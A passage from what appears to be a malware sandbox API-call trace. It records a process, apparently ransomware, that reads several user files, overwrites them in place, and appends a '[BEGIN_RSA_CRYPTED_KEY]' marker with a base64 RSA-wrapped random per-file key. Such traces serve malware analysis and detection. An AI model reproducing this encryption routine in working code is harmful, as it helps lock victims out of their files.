lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.720] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.720] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.720] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.720] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0220.720] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="nYiW4ywX0C96QgZ3QvX+UEl24rFucRUlP9tnHLWTDUSOpHMlpKOPLzXVOKu4xoGy\nQM2bm1n+wGDySi3JNObdC13e3GSfjvgbHPh56ckXZul2+OBDDaMdLieugXLi/jOm\nTvkf9oJeTJ979eq94b8elhUrxRRKvXuJhp8SvF7Vc+5MyjKm6uRxGOXkRTQth4sQ\nWBbG+w3lyi9CW+i7AjGHZv1MrkDOwIEV+DFmd6ulX4SVxx2LKJHCPnkdtZlOaLrn\nIyWe2TQez8rYq6owQLmwNbnsid1kHYOZ13IAkbxTf53YfDSyLqDuliuHL/F27gw0\nY8OaY5t5LbNB+A2e19hcsw==\n", pcchString=0x2e3f9a8) returned 1 [0220.720] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.720] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.720] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.720] CloseHandle (hObject=0x1840) returned 1 [0220.722] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.722] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc", dwFileAttributes=0x80) returned 1 [0220.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d870 [0220.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0220.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.723] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16834) returned 1 [0220.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x41c2) returned 0x2f35020 [0220.723] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x41c2) returned 0x2f391f0 [0220.723] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x41c2, lpOverlapped=0x0) returned 1 [0220.749] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.749] WriteFile (in: hFile=0x1840, lpBuffer=0x2f391f0*, nNumberOfBytesToWrite=0x41c2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x41c2, lpOverlapped=0x0) returned 1 [0220.750] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x41c2 [0220.750] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.750] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.750] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0220.750] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="J4/ViMBYNRjrqiPI63nnpdJ0CSbBLwvlmCWtSPwT1eLmoXsYZG41+IsYXdXY3cxl\nhbFSq1lHLIo2lcRBaV0iPaCyR9DRIpy6W8usu/DviXVQgmof7qAgTxqkPCXti1LN\nahO1CMkT5g+1RgCDA+tTQJTBiK8wrrgMnl0yDMjV9R8Oth6m2V8g12XI0fb/4C0d\nV2rbyIIddq1E7DKySuVGNdoRtKgo0VM2Aud2/yPOTPPMY66RjZYIHwDa/aKm1SXs\nEeMqDO3TNadz2xBqugtR7SSSFad6jD9B3JcsuDnwOyGfDmfr45Hhuma68Ark618p\naF6IWdR27EaJN9hx8XJDUw==\n", pcchString=0x2e3f9a8) returned 1 [0220.751] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.751] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.751] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.751] CloseHandle (hObject=0x1840) returned 1 [0220.752] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1", dwFileAttributes=0x80) returned 1 [0220.795] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d870 [0220.795] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0220.795] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0220.796] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17475) returned 1 [0220.796] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4443) returned 0x2f35020 [0220.796] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4443) returned 0x2f39470 [0220.796] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4443, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4443, lpOverlapped=0x0) returned 1 [0220.797] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17475, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0220.797] WriteFile (in: hFile=0x1840, lpBuffer=0x2f39470*, nNumberOfBytesToWrite=0x4443, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39470*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4443, lpOverlapped=0x0) returned 1 [0220.797] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4443 [0220.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.797] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0220.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0220.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0220.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0220.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="OucUKKPcT9qgcuK2+mfu7jIsj1D/as/OMJZXJVlZ4NOLfAT8UIkdF8TEXt/Fha7w\nxMse/2GeKy9f9abDQkX2qxl4F21yQIdkN+HvR3IX9m9BM0vo+XvTM/peqZ4esIKb\nLpeundX+cq/5Qly4GUoHRmwiRChsm2J92T1ZY+KLmVvVCMQ5FLSHHH2lsKwhTyVp\nkltcwU4dn9lZnqGKUWboKrVgZY6BeTSCGOmg4agg/poZHxsk+Jykgu/C6NQ9BdjT\nWf0jm6H1iYXDEJ8NBY3cbKtWCc33yclWyKP7LIvZ/7+StOpzgdU0bciu2tYfE7jK\n+L/rvxr2hi/vXngMn5IATA==\n", pcchString=0x2e3f9a8) returned 1 [0220.798] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0220.798] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0220.798] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0220.798] CloseHandle (hObject=0x1840) returned 1 [0220.803] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0220.803] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2dfa25e7094295189d97793d7c8954463f9cc2568165708a430de7580b56b39e", dwFileAttributes=0x80) returned 1 [0220.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d168 [0220.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.072] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2dfa25e7094295189d97793d7c8954463f9cc2568165708a430de7580b56b39e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2dfa25e7094295189d97793d7c8954463f9cc2568165708a430de7580b56b39e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.072] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=488904) returned 1 [0221.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x775c8) returned 0x3351010 [0221.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x775c8) returned 0x33c85e0 [0221.073] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x775c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x775c8, lpOverlapped=0x0) returned 1 [0221.171] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-488904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.171] WriteFile (in: hFile=0x1840, lpBuffer=0x33c85e0*, nNumberOfBytesToWrite=0x775c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33c85e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x775c8, lpOverlapped=0x0) returned 1 [0221.172] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x775c8 [0221.172] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.172] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.173] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="Y9jYIRyqNuewnlXjnaGdmfvypx0T/kC4hky49CCJRT3CYcWW5lku9f7lS4NsuFZc\nNu5QJEz96VIGXUdgY3tjaKv0uhZ9Y2DNow/IVnPou7bIougJxx2Hrif5oXoV7+O+\n1WUR6fqXW2EWsOQ4+G5h+g+BHI0mWwAgFWG3ML3QUQppFeIADqJ+WfdvjoWFzH4t\ngkIS9x9M1ag7QpDvwI7UUvQAZ4Q6VVGumCYfXXzok8wmAIs+vneIF56ljw57ACaj\nE+vmjd9rIvNlS3svMQnYK5jnNTILLr3g8gVev7FKFbVGkL87Y8pEoWwpcZD9TrWl\nQaLLR6zCZ7006PdCFDO1MQ==\n", pcchString=0x2e3f9a8) returned 1 [0221.173] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.173] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.173] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.173] CloseHandle (hObject=0x1840) returned 1 [0221.175] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ccc8d509e681fb142397dbfba6d9b71601cfdac670b1e0ca7bb6d2f25378a9d", dwFileAttributes=0x80) returned 1 [0221.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d870 [0221.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.176] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ccc8d509e681fb142397dbfba6d9b71601cfdac670b1e0ca7bb6d2f25378a9d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2ccc8d509e681fb142397dbfba6d9b71601cfdac670b1e0ca7bb6d2f25378a9d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.176] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=324886) returned 1 [0221.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4f516) returned 0x3351010 [0221.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4f516) returned 0x33a0530 [0221.177] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x4f516, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4f516, lpOverlapped=0x0) returned 1 [0221.252] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-324886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.252] WriteFile (in: hFile=0x1840, lpBuffer=0x33a0530*, nNumberOfBytesToWrite=0x4f516, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33a0530*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4f516, lpOverlapped=0x0) returned 1 [0221.253] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4f516 [0221.253] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.253] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.254] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.254] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.254] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.254] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.254] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="prYbB0Ezndj50XPCZVgSUAv/zMiXeyAP5ZsXOW6U/aCRxU7JD2GBRYuoHiGtiEUy\nsiC5QjA1H1oWE8H7u6K+ZRYG6ZMNGFss2b/ptwXIWLJrLWZ0GzjfN4vwnGwHPfI+\nlfnfpY1XcZad7YWql+652ghIsTJ9BqSQyuyUp57QCyE8kBR28KsypFw66B1TshSW\nDxWJobenr31N5JwUdETqLTaF3brJ0rYMROb/POtuC2fFhOnkSttUM8Yr3Cis+MBQ\n5j8r/p77I1YLihnmmri7etkttUfujEK/2dFs5kfp2dMhoOqlB3cZml02zVZmeWVg\nHRmP70LfqJCATwXL919uQg==\n", pcchString=0x2e3f9a8) returned 1 [0221.254] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.254] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.254] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.254] CloseHandle (hObject=0x1840) returned 1 [0221.256] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.256] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2c47102710a573389f9fec5352370c93db7b08a68475e056cbe941a5b8169dbd", dwFileAttributes=0x80) returned 1 [0221.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d168 [0221.256] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.257] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2c47102710a573389f9fec5352370c93db7b08a68475e056cbe941a5b8169dbd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2c47102710a573389f9fec5352370c93db7b08a68475e056cbe941a5b8169dbd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.257] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=702583) returned 1 [0221.257] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xab877) returned 0x672020 [0221.258] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xab877) returned 0x3547020 [0221.258] ReadFile (in: hFile=0x1840, lpBuffer=0x672020, nNumberOfBytesToRead=0xab877, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x672020*, lpNumberOfBytesRead=0x2e3f9b4*=0xab877, lpOverlapped=0x0) returned 1 [0221.285] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-702583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.285] WriteFile (in: hFile=0x1840, lpBuffer=0x3547020*, nNumberOfBytesToWrite=0xab877, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3547020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xab877, lpOverlapped=0x0) returned 1 [0221.287] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xab877 [0221.287] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.287] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.287] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.288] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.288] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.288] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: 